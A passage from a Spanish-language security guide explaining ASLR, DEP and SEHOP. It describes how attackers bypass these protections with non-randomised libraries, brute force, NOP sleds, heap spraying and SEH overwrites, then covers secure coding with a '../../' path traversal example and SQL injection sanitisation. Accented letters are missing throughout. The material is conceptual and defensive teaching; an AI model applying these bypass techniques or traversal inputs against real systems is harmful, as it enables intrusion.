protegindolo de forma activa de cualquier posible ataque externo, y al igual que sucediese con
DEP, ASLR puede trabajar a diferentes niveles, dependiendo principalmente de la implementacin
de ASLR en el sistema, pero tambin de la configuracin del sistema que tengamos establecida y de
si las aplicaciones en s mismas fueron compiladas/linkadas con soporte para ASLR

Microsoft fue el primero en implementar ASLR de forma bastante activa y funcional con Windows
Vista, y fue remodelada y blindada casi por completo en Windows 7. Linux por su parte ha posedo
implementaciones similares a ASLR desde hace ms tiempo que Windows, pero implementaciones
mucho ms dbiles. MAC OS por su parte implement una primera ASLR en Leopard, la cual
nunca sirvi de mucho por lo dbil que era, mientras que Lion ha mejorado la implementacin
ASLR, pero muy lejos an de la que posee Windows, dejando muchos flecos sueltos. Una vez ms,
Qu es ASLR?

En realidad, el trabajo de ASLR es simple, lo nico que hace es cargar el cdigo de las
aplicaciones (las imgenes de estas, el stack, heap, libreras dependientes) en posiciones de
memorias aleatorias. Aqu hay que explicar algunas cosas por tanto. Cuando no se usa ningn tipo
de tecnologa tipo ASLR, la mayora de procesos, libreras y otros suelen ser cargados siempre en
cada ejecucin en las mismas posiciones de memoria. En Windows XP por ejemplo, si un proceso
cargaba 3 bibliotecas DLL: kernel32.dll, sys.dll, gdi.dll, las tres bibliotecas eran siempre
posicionadas en las mismas direcciones de memoria. Esto en realidad es prctico desde muchos
puntos de vista, pero evidentemente muy inseguro. El mismo ejemplo a las bibliotecas es aplicable
tanto al segmento de cdigo del programa, la pila de este o el heap por supuesto (y otras
zonas/segmentos que usan los procesos).

Realizar con xito un ataque de ejecucin de cdigo arbitrario, no es algo simple. Como ya veremos
en un ejemplo real, es necesario la mayora de las veces de saber en qu posicin de memoria se
encuentra el cdigo de la aplicacin, a veces tan solo con tener una idea de donde estar es
suficiente, otras veces hace falta una localizacin exacta. Un hacker puede en casa con tranquilidad
ejecutar en su sistema la aplicacin vulnerable y ver las posiciones de memoria que ocupa, para
crear el exploit de forma satisfactoria. Una vez terminado, el hacker dado que sabe que el objetivo
ejecuta el mismos sistema operativo que l, sabe que la aplicacin que ejecuta que es la misma que
la suya estar instalada en las mismas posiciones de memoria!! Con lo que el hacker no tiene que
adivinar ni hacer un trabajo tedioso de fuerza bruta para conocer dichas posiciones de memoria.
Con ASLR sin embargo, el Hacker no podr conocer a priori en qu posicin de memoria se han
cargado las libreras, los procesos dificultando enormemente la tarea de este.

ASLR adems, no requiere de ningn soporte hardware como el caso de DEP, tan solo soporte
software. Pero tambin es cierto, que la fortaleza de ASLR reside sobre todo en cmo de buena o
mala es la implementacin. Se presupone que cada vez que el equipo se inicia, este recolecta ciertos
bits de entropa (eso excede este tema), los cuales a su vez son usados para generar la aleatoriedad
con el que se van a cargar los procesos. En teora, si el proceso se detiene y se vuelve a ejecutar,
mientras que no se reinicie el equipo se volver a ejecutar en la misma posicin de memoria. Por
tanto, es muy importante que el equipo sea capaz de generar posicin de memoria muy aleatorias, o
de lo contrario un hacker podra a groso modo tener una idea de por donde se podra estar cargando
el cdigo, y como veremos ahora, saltarse por tanto la proteccin ASLR.

Otra cuestin muy importante cuando se trata con ASLR es saber que contenido carga
aleatoriamente en memoria y cual no. Por ejemplo, Windows 7 es capaz de cargar aleatoriamente
TODO, es decir, tanto el cdigo del proceso, como las libreras DLL que requiere, su pila, su
heap todo. En cambio por ejemplo en MAC OS Lion incluso, las libreras cargadas no se cargan
con ASLR, con lo que su posicin en memoria es totalmente predecible, aunque si es cargado en
posiciones de memoria aleatoria la imagen de la aplicacin (el cdigo) o la pila. Todo esto es a tener
en cuenta cuando se desea buscar un mtodo que sea capaz de saltarse esta defensa.

Por ltimo, otra cuestin importante sera el comportamiento del OS por defecto para estas
defensas. Hay que tener en cuenta que aunque puedan existir mtodos muy eficaces para prevenir
todo tipo de ataques, siempre hay que llegar a un compromiso entre la seguridad y la
funcionalidad. Muchas veces ASLR no es viable porque nuestro cdigo necesita estar posicionado
siempre en la misma posicin de memoria!! Con lo cual, si el sistema obligase siempre el uso de
ASLR o no permitiese de algn modo el no usarse por parte del programador, apareceran
problemas con muchos programas. Aqu es donde los administradores de un sistema tienen que
tomar las decisiones que estimen oportunas. Al igual que vimos con DEP, que poda ser
deshabilitado totalmente, habilitado totalmente o activado/desactivado con restricciones, ASLR
funciona de forma similar (siempre hablando dentro de Windows 7 por supuesto). No obstante,
dado que ASLR es una funcin algo ms agresiva que DEP, el sistema no nos permite por defecto
cambiar su comportamiento de forma fcil. Por defecto la poltica de Windows 7 es cargar
todas las bibliotecas y procesos del sistema con ASLR, permitiendo establecer una lista de
aplicaciones que deseamos que sean cargadas forzosamente con ASLR, independientemente si
fueron o no compiladas para ello. Por supuesto, si cualquier aplicacin es compilada para hacer uso
de ASLR, lo usar (repito, en caso de Windows, es una caracterstica que debe de soportar el OS).

Por supuesto, al igual que sucede con DEP ningn sistema por bueno que sea es totalmente
invulnerable, e incluso en sistemas con ASLR se les puede buscar las cosquillas. A da de hoy, el
cmo ser capaz de burlar tanto DEP como ASLR es un tema totalmente actual, en el que existe
muchsimos tericos y prcticos dentro del mundo de la seguridad informtica que trabajan
activamente para buscar tantos mtodos mejores como cualquier forma que sea posible para saltarse
este sistema. Lo que quiero decir es que no estamos hablando de algo que sea de hace muchos aos.
Actualmente, existen algunas formas por las cuales un hacker podra saltarse ASLR (con o sin
DEP). El problema es que todas las formas actuales no van a garantizar al 100% que el hacker
pueda lograr saltarse dichas protecciones, adems DEP y ASLR no son las nicas defensas con las
que cuenta un OS (aunque s las ms eficientes). Muchas veces depender del equipo en cuestin,
de lo actualizado o no que est el sistema, de las polticas que el sistema est optando e incluso
muchas veces interviene el factor suerte, y por supuesto y lo ms importante: Tiempo y habilidad.
Voy a explicar brevemente 3 de las medidas ms usadas para solventar los problemas que los
hackers encuentran con ASLR:

Atacando alguna biblioteca que no est protegida por ASLR, la cual puede servir de salto. Si el
programa tiene cargada o usando una biblioteca que no est protegida por ASLR, podremos de ante
mano conocer su ubicacin exacta y hacer uso de ella para ejecutar de ella la funcin que nos
interese. Otra variante a este tipo de ataques es forzar que la aplicacin en cuestin cargue una
biblioteca que nos pueda servir y que no est bajo ASLR, claro que en este caso tendramos como
he dicho que forzar la carga de dicha biblioteca (se puede hacer).
Por fuerza bruta. ASLR coloca el RAM las aplicaciones en posiciones aleatorias, pero estas no
son totalmente aleatorias evidentemente. Para empezar, tan solo es aleatorio los primeros bytes de
las direcciones de memoria, quedando el resto intacto. En segundo lugar, aun cuando una biblioteca
sea cargada aleatoriamente, las funciones dentro de ellas (una biblioteca no es ms que un conjunto
de funciones predefinas) se encuentran todas siempre en el mismo offset relativo, es decir que con
conocer donde se encuentra cualquier funcin de la biblioteca se puede inferir el resto. En sistemas
de 32 bits, ASLR reserva 24 bits para la aleatoriedad, mientras que en los sistemas de 64 bits son 56
los bits que son aleatorios. Puede que sea imposible saber la posicin exacta en la que hemos
inyectado nuestro cdigo, pero s podemos hacer con tcnicas como las ventanas NOP hacer crecer
en lo posible las posibilidades de xito que tenemos de acertar una posicin de memoria relevante,
lo veremos ahora en el siguiente punto mejor. La cuestin, es que como si de un crack se tratase,
podemos lanzar el exploit, el cual tardar segundos/minutos/horas/das (o incluso no lo lograr) en
obtener un punto viable dentro de la memoria del equipo atacado. El problema con este mtodo son
evidentes. Primero que aunque sea una cuestin de tiempo, hay tiempo que se considera aceptable y
tiempo que no. En segundo lugar es que es muy dependiente a la vulnerabilidad encontrada, y no es
algo que se podr usar siempre. En tercer y ltimo lugar, en sistemas de 64 bits el problema es
mucho mayor, ya que la cantidad de tiempo necesaria para tener xito aumentara
exponencialmente, aunque continuara siendo tericamente posible y factible en muchas ocasiones.
Ventanas NOP: La instruccin NOP en un procesador es la instruccin: No hacer nada. Es
decir, que el procesador la ejecuta y pasa a la siguiente sin que nada haya pasado. Aunque parezca
una instruccin sin importancia es de echo de las instrucciones con ms importancia en un
procesador, y de las ms usadas por cierto. Sirve por ejemplo para consumir/controlar el tiempo,
abrir ventanas en el cdigo sin afectar en nada la ejecucin del mismo. Y en este caso es una de
las instrucciones favoritas para los Hackers, puesto que como no hace nada, no hay riesgo de que el
sistema objetivo pueda fallar simplemente por inyectarlas. Pues bien, la tcnica de las ventanas
NOP es simple, se trata de ocupar el tamao mximo posible de memoria (que permita por supuesto
siempre el exploit y la aplicacin) con un cdigo que haga que si logramos enviar el EIP a alguna de
las posiciones de memoria que estamos ocupando, nuestro cdigo malicioso se ejecutar a la
perfeccin. Esto es de total importancia a la hora de tener xito en un exploit de ejecucin remota.
Si conocemos perfectamente la ubicacin de nuestro cdigo y podemos controlar el EIP es fcil, tan
solo tendremos que enviarlo a la posicin exacta en la cual tenemos nuestro cdigo. Pero qu pasa
si por culpa de ASLR u otras penurias esto no es posible? Entonces el problema se ataja por otro
lado, si no podemos conocer la ubicacin exacta de nuestro cdigo inyectado, hagamos que
tengamos la mayor probabilidad posible de que nuestro cdigo se ejecute. Qu probabilidad
tendramos en acertar una posicin de memoria en un sistema de 32 bits?? Muy pocas, 1 entre 4,3
mil millones, y en sistemas de 64 bits mejor ni hablar. Pero sabemos que ASLR quita algunos bits,
lo cual en sistemas de 32 bits la probabilidad se reduce hasta 1 entre 16,7 millones. Aun as, sera
cuanto menos peligroso y complicado tener en un tiempo prudencial la posicin exacta de memoria
simplemente probando una tras otra (que a fin de cuenta es lo que hace el brutefore). Aqu es
donde entran las ventanas NOP. Imaginar que podemos colocar en memoria la friolera de 1024K
bytes (es decir, 1024 posiciones de memoria). En realidad lo que necesitamos ejecutar como vimos
en el shellcode son unos escasos bytes, tan solo 314 bytes en el caso que vimos!! Eso nos deja con
un gran montn de espacio que podramos rellenar con qu? Con operaciones NOP por
supuesto. Cojamos las 1024K posiciones de memoria que podemos inyectar, y coloquemos en el
medio nuestro shellCode. Rellenemos ahora el resto superior con instrucciones NOP, y el resto
inferior con instrucciones NOP excepto las ltimas posiciones que lo que realizamos es una
instruccin de salto al inicio de nuestra ventana. Ahora, si el EIP es enviado a cualquier parte de
nuestra ventana NOP, nuestro shellcode ser ejecutado!! Si la direccin de memoria cae en la parte
superior, se comenzarn a ejecutar instrucciones NOP hasta comenzar el shellcode, mientras que si
cae por la parte inferior suceder lo mismo hasta llegar al salto, que comenzar con la parte superior
hasta acabar en el shellcode. En este caso, no tendramos ahora 1 probabilidad entre 16,7 millones,
sino de 1024K a 16,7 millones. Es decir, 1024K = 1M = 1048576 -> 2^24/1M = 16!! Tendremos 1
probabilidad entre 16 de dar con una posicin que nos sirva!! Evidentemente esto s que es factible,
tardaramos segundos en tener xito!! De nuevo esto es factible en sistemas de 32 bits, en sistemas
de 64 bits en el mismo escenario no tendramos 1 entre 16, sino 1 entre 67 mil millones
aproximadamente, algo bastante ms complejo y complicado de lograr.
Heap Spraying: Su funcionalidad es ms que nada la de complementar las ventanas NOP, o mejor
dicho, las ventanas NOP complementan la tcnica del Heap Spraying, aunque su utilidad no solo se
traduce a las ventanas NOP. Heap Spraying es inyectar la mxima cantidad de datos en el heap para
aumentar el uso de memoria usada por el proceso, de este modo dichas posiciones de memorias
dejarn de ser posiciones de memorias no vlidas. Evidentemente para que esto sea posible, la
vulnerabilidad debe de permitir este suceso, de lo contrario no habra caso. Esto como vemos es la
antesala de las ventanas NOP, en las que en dicho caso particular se rellenara ese gran fragmento
del heap con instrucciones NOP y el shellcode.

De nuevo, ASLR es actualmente un campo de guerra en el que tanto expertos en seguridad como
hackers luchan a diario para lograr tcnicas ms efectivas para saltarse ASLR, mientras que las otras
medidas para evitar en lo posible estos ataques. En cualquier caso, lo cierto es que la gran mayora
que se logra circunvalar ASLR es por medio de la llamada a alguna funcin de alguna librera que
en ltima instancia no ha sido protegida por ASLR. Como ya he dicho, ASLR puede ser una gran
defensa, pero no todos los procesos/bibliotecas son aptos para funcionar con ello, y si el sistema
obligase de forma total el cargar todo con ASLR, muchos software fallaran. Por poner un ejemplo,
los Drivers de ATI si se cargan forzando ASLR, se producira un BSOD (Blue Screen Of Death
dicho de otro modo, pantallazo azul y no arranca el sistema). Esto es un fallo tanto de ATI como de
ASLR en s mismo, dado que muchos programas requieren de posiciones fijas en memoria, y ASLR
lo impide. Pero aun cuando se forzase totalmente ASLR en todo el sistema para absolutamente
TODO, esto tampoco impedira que un hacker lograse un exploit, eso s sera ms complicado.

ASLR se complementa a la perfeccin con DEP dada la funcin de cada una de las medidas. De
hecho, un sistema con una implementacin perfecta de ASLR fallara estrepitosamente sin una
perfecta implementacin de DEP, y lo mismo al revs. Esto ha sido muy criticado (y lo contina
siendo) en la comunidad MAC, en la que Apple no termina de implementar correctamente ambas
tecnologas, lo que hace que crear un exploit para MAC OS sea infinitamente ms sencillo y rpido
que hacerlo para Windows, en el que cada da que pasa es ms complicado realizar esta tarea,
convirtindose actualmente en algo reservado tan solo para unas pocas mentes privilegiadas
(siempre que el OS est bien configurado por supuesto)

Structured Exception Handler Overwrite Protection (SEHOP)

Esta funcionalidad es exclusiva de Windows, aunque tambin es cierto que es la plataforma donde
la vulnerabilidad implicada (SEH) se hizo famosa. Esto no quiere decir que otros OS no puedan
ser vulnerables a este tipo de problemas, solo que ha sido en Windows donde han visto la luz de
forma mayoritaria. De nuevo es lgico, Windows posee una penetracin de ms de un 90%, por
tanto es la plataforma ms castigada. A un hacker no le compensa atacar MAC OS si lo que desea es
lograr una bot net!! En cambio, ante ataques dirigidos la cosa es totalmente diferente. Como he
dicho, SEHOP es un sistema de defensa de Windows ante los ataques y exploits de los hackers que
hacen uso de la tcnica de SEH para lograr ejecucin de cdigo arbitrario. Es ms, un gran
porcentaje de todos los exploits actuales contra Windows (10%-20%) hacen uso de SEH para lograr
sus fines, es decir, SEH actualmente es una d las armas muy bien conocidas por los hackers en su
muy variado y variopinto de su arsenal. As que antes de explicar que es que hace SEHOP hay que
explicar brevemente en que consiste un ataque que hace uso de SEH, dado que al contrario que
otras vulnerabilidades que hemos visto, esta no la vamos a ver en detalle en otros captulos, por ser
ms que nada una tcnica en s y no una vulnerabilidad propiamente dicha, lo mismo sucede con las
ventanas NOP, las cadenas ROR, el Heap Sprayin que son tcnicas a fin de cuenta, ingenios de
los expertos en la materia.

SEH (Structured Exception Handler) es una estructura de datos que controla por as decirlo los
errores o excepciones que puede producir un programa. Dicho de un modo simple, cuando el
programa experimenta un fallo (generalmente crtico), este es muy posible que est siendo
manejado por SEH. Cuando el fallo o la excepcin (que es como se llama ms correctamente a este
tipo de fallos) se produce, se llama a la rutina encargada de verificar que excepcin es la que ha sido
lanzada y se compara en una especie de lista de excepciones para conocer cul ha sido,
ejecutndose la rutina asociada a dichas excepciones.

Un hacker podra por tanto, gracias a un desbordamiento de buffer por ejemplo, sobreescribir con
una direccin de memoria concreta (donde se encuentran algunas instrucciones clsicas como pop
pop ret) Cuando la aplicacin lanzase una excepcin (que podra ser forzada por el propio hacker
de varias maneras, el sistema terminara ejecutando la rutina de excepcin modificada por el hacker.
Al ejecutarse las instrucciones tipo pop registro, pop registro, ret, se estara logrando tomar el
control de la zona de memoria que el hacker quisiese ejecutar, donde previamente el hacker habra
colocado su cdigo malicioso (generalmente un shellcode). Estas excepciones las hemos visto
alguna vez en un programa, por ejemplo la ms tpica de todas son quizs los Access Memory
Violation mostrados en un cartel de alerta, incluso muchos desbordamientos de buffer que son
detectados.

Evidentemente para que esta tcnica tenga utilidad, el software en cuestin debe de estar
gestionando los SEH, de lo contrario no habra caso, y de nuevo siempre presuponiendo entornos en
los que no existen otras medidas de proteccin como DEP o ASLR, en cuyo caso primero habra
que sortear dichas protecciones.

SEHOP lo que pretende realizar es defenderse ante estas situaciones. Suprimir SEH evidentemente
no es viable de ningn modo, son procedimientos y llamadas propias del sistema necesarias para el
correcto funcionamiento de todo!! As que la primera medida que se tom fue tener la opcin en
tiempo de compilacin de la aplicacin con metadatos concretos que una vez en tiempo de
ejecucin sirven para detectar el uso malicioso de SEH. El problema es el de siempre, muchos
programas pueden hacer uso de las mismas tcnicas, y si fuesen compiladas de tal modo las
aplicaciones no funcionaran correctamente. Por tanto, no todas las medidas pueden ser forzadas
obligatoriamente y de forma unnime!! Menos an en sistemas operativos para usuarios, los cuales
son proclives a instalar cualquier tipo de software. Cualquier medida que pueda ser problemtica
tiene que ser tan solo opcional para el usuario, y por tanto su configuracin por defecto tiene que ser
muy mirada. Por supuesto que todos los programas de Windows estn protegidos por defecto con
SEHOP, pero lo que se refiere al software de terceros, deben de ser estos los que decidan si su
software usa dichas medidas o no.

En cambio, y como solucin genrica, Microsoft si implementa de forma global medidas ms

suavizadas de SEHOP (aunque de nuevo, Microsoft nos da herramientas para obligar a que todos
los programas usen esta tecnologa), esta otra medida (diferente a la primera) consiste simplemente
en verificar la integridad de la estructura SEH. Cuando un hacker sobrescribe algo en memoria,
suele siempre sobrescribir ms de la cuenta, nunca suele ser totalmente exacto en su tarea. Dado que
SEH es una estructura de datos, generalmente cuando el hacker logra sobrescribir el puntero
concreto de una excepcin, involuntariamente (y es bastante habitual) sobrescribe la propia
estructura de datos adyacente, haciendo que la estructura de datos en cuestin se corrompa. Esto al
hacker normalmente no es algo que le importe, a fin de cuenta no pasa nada que la aplicacin pueda
saltarse algunas instrucciones, siempre por supuesto que la aplicacin no se detenga y mientras que
se ejecute su cdigo. Pues esta segunda medida de Microsoft lo que hace es verificar que la
estructura SEH est intacta antes de que se ejecute alguna excepcin. Evidentemente esto no es la
solucin definitiva, dado que un hacker tan solo tendra que ser ms meticuloso y restringir la
sobrescritura tan solo a la posicin de memoria exacta, de este modo dejar intacta la estructura de
datos subyacente.

Una vez ms, el juego del ratn y el gato hace que si se ha interpuesto una medida para prevenir que
SEH sea usado, existirn retoques a esta tcnica para saltarse la proteccin SEHOP de Microsoft,
como hemos visto desde ser ms exactos a la hora de sobrescribir una posicin de memoria a
modificar el cdigo ejecutado en la excepcin para lograr el mismo fin que se tena al principio.
Recordemos que los sistemas de defensa ante las vulnerabilidades no ser nunca impedirlas (eso
es imposible), sino complicarlas lo mximo posible para restringir cada vez ms el tipo de hacker
que pueda lograr dicha tarea. Digamos que hace unos aos podran crear y lanzar un exploit con
xito muchas ms personas de las que hoy son capaces. S, todos sabemos que seguirn existiendo
exploits y hackers que se aprovecharn de ellos (como qued patente en el Pwn2Own de este ao),
pero cada vez es ms complicado y las tcnicas necesarias ms sofisticadas.

Aunque de forma ms o menos detallada se han comentado protecciones como DEP, ASLR o
SEHOP, actualmente existen diversas tcnicas que apoyan a estas y a otras para mejorar la
seguridad. El problema que suelen tener todas ellas es el mismo, son ms fciles de sortear por un
hacker y pueden causar problemas en la ejecucin del software. As por ejemplo tenemos la
aplicacin de Microsoft EMET que permite forzar algunas de estas medidas, como pueda ser Export
Address Table Filtering (EAF), HeapSpray pre-Allocation (HPA), NullPage pre-Allocation (NPA)
todas ellas con la intencin de salvaguardar en la medida de lo posible al OS contra la ejecucin
de cdigo arbitrario, por ser la mayor amenaza siempre.

Saneamiento del cdigo y compiladores actuales

Hasta ahora hemos visto medidas desde el punto de vista del usuario, pero no desde los
programadores. Adems, todas las medidas anteriores vienen a evitar en lo posible las ejecuciones
de cdigo arbitrario (quitando las actualizaciones), pero no se ha dicho nada de cmo evitar otro
tipo de vulnerabilidades como las inyecciones SQL y dems. Esto depende en ltima instancia de
los programadores, con lo cual es un problema para el usuario final, ya que tiene que fiarse de estos.
Lo cual por cierto es mucho fiarse, puesto por muy profesionales que sean los programadores, no
son perfectos y es muy normal que se le escapen algunos flecos.

Lo primero y principal por tanto es usar siempre compiladores actualizados y decentes. Esto es
esencial. Cuanto ms sofisticado sea el compilador, no solo tericamente podr crear un cdigo ms
eficiente, sino que en tiempo de compilacin y link podr realizarle una medida de chequeos y
pruebas que garanticen el funcionamiento correcto del programa, o al menos todo lo correcto que
pueda ser. Actualmente las pruebas ms comunes son sin duda alguna verificar que no se puedan
producir desbordamientos de buffer o de stack, que podran permitir la existencia de una
vulnerabilidad que pusiese en jaque al programa y en ltima instancia a todo el sistema. En teora el
programador tendra que tener la experiencia y la habilidad necesaria para saber que estructuras
puede crear y que prcticas tiene que evitar a toda costa para evitar este tipo (y otros tipos) de malas
costumbres en la programacin que terminan con vulnerabilidades clsicas. Lo que sucede es que
ya sea por la torpeza o el descuido de los programadores, nunca est de ms darle una herramienta
que compruebe por l este tipo de chequeos comunes.

Otra de las comprobaciones que se suelen realizar es la verificacin de que no se queden punteros
sueltos pululando por el cdigo, lo cual podra ser totalmente nefasto si un hacker da con uno de
ellos, son potencialmente peligrosos, y su solucin en realidad es simple, simplemente, o destruirlos
o asignarles un valor null una vez que se dejan de usar para evitar que estn apuntando a zonas de
memorias que podran ser perjudiciales para la aplicacin, como por ejemplo la misma pila de esta.
De nuevo el problema est en que este tipo de prcticas no se les suele ensear a los programadores
de proyectos de menor importancia o de menor grado. La consecuencia es evidente, encuentras
muchsimo software vulnerable en la red, sobre todo aquel software que no tiene una empresa
realmente fuerte por detrs. Es decir, sera muy muy complicado (posible, pero complicado)
encontrar un puntero suelto en el cdigo de Windows, pero en contra partida sera bastante simple
encontrarlo en el cdigo de por ejemplo un software que crea el gobierno espaol para cualquier fin.
Por eso el uso de compiladores modernos es esencial, ya que se cae en muy malas prcticas, estos
compiladores al menos atenan el riesgo en la medida de lo posible.

Al igual que es necesario tener buenas prcticas de programacin en lenguajes de alto nivel como
C/C++ y el uso de buenos compiladores, es tambin necesario tener un especial cuidado con
lenguajes web tipo PHP, ASP, Ruby, JavaSript, Perl, Pyton a la hora de crear aplicaciones web o
portales o cualquier contenido en general. Al igual que tenemos los problemas constantes de los
desbordamientos de buffer en el software de PC, es muy normal cometer errores en el saneamiento
del cdigo en los lenguajes de programacin nombrados (a partir de ahora PHP por abreviar). Este
tipo de lenguajes no solo son ejecutados en el equipo servidor que hospeda la web, sino que adems
generan de forma dinmica el contenido HTML que nos es mostrado. Estos lenguajes suelen ser
bastante pueteros a la hora de manejar caracteres especiales. Por ejemplo, si creamos un
formulario web en el que tenemos un solo campo para introducir un nmero, las buenas prcticas
siempre nos harn en la medida de lo posible ya sea con JS o por PHP impedir que en dicho campo
se pueda introducir otro carcter que no sea un nmero. En este caso a lo mejor no tiene una
importancia en mayscula, pero si en vez de ser un nmero de telfono fuera por ejemplo el campo
en el que especificamos un nombre de usuario para enviarnos a nuestro perfil tipo
http://host.com/perfiles/nustroperfil, y dicho campo no verificase correctamente los caracteres de
barras y puntos, podramos poner un nombre de usuario como por ejemplo ../../, por tanto se
podra producir un path traversal cuando dicho usaurio quisiese visitar su perfil, y en vez de ello
tendra acceso a lo mejor al directorio raz del servidor. Esto que parece un poco tonto es un error
muy muy comn.
Es por ello que suele ser mucho ms simple de cara a un programador usar siempre polticas de
listas blancas en vez de listas negras. Esto quiere decir que en vez de usar listas de caracteres no
permitidos, es siempre mucho mejor establecer listas de los nicos caracteres permitidos, as es ms
simple que no quede algn cabo suelto. Esto es totalmente extrapolable a SQL, el cual no es extrao
verlo sufrir por problemas similares. Un mal saneamiento de los caracteres puede producir que se
logre un ataque de SQL injectiion, el cual podra darnos acceso a toda la base de datos del servidor
atacado. Una vez ms, la solucin es la misma, saneamiento y ms saneamiento, y cuando se crea
que se han tomado todas las medidas posibles, poner la aplicacin web o el cdigo a pruebas para
comprobar si realmente es inmune, al menos a los ataques ms comunes.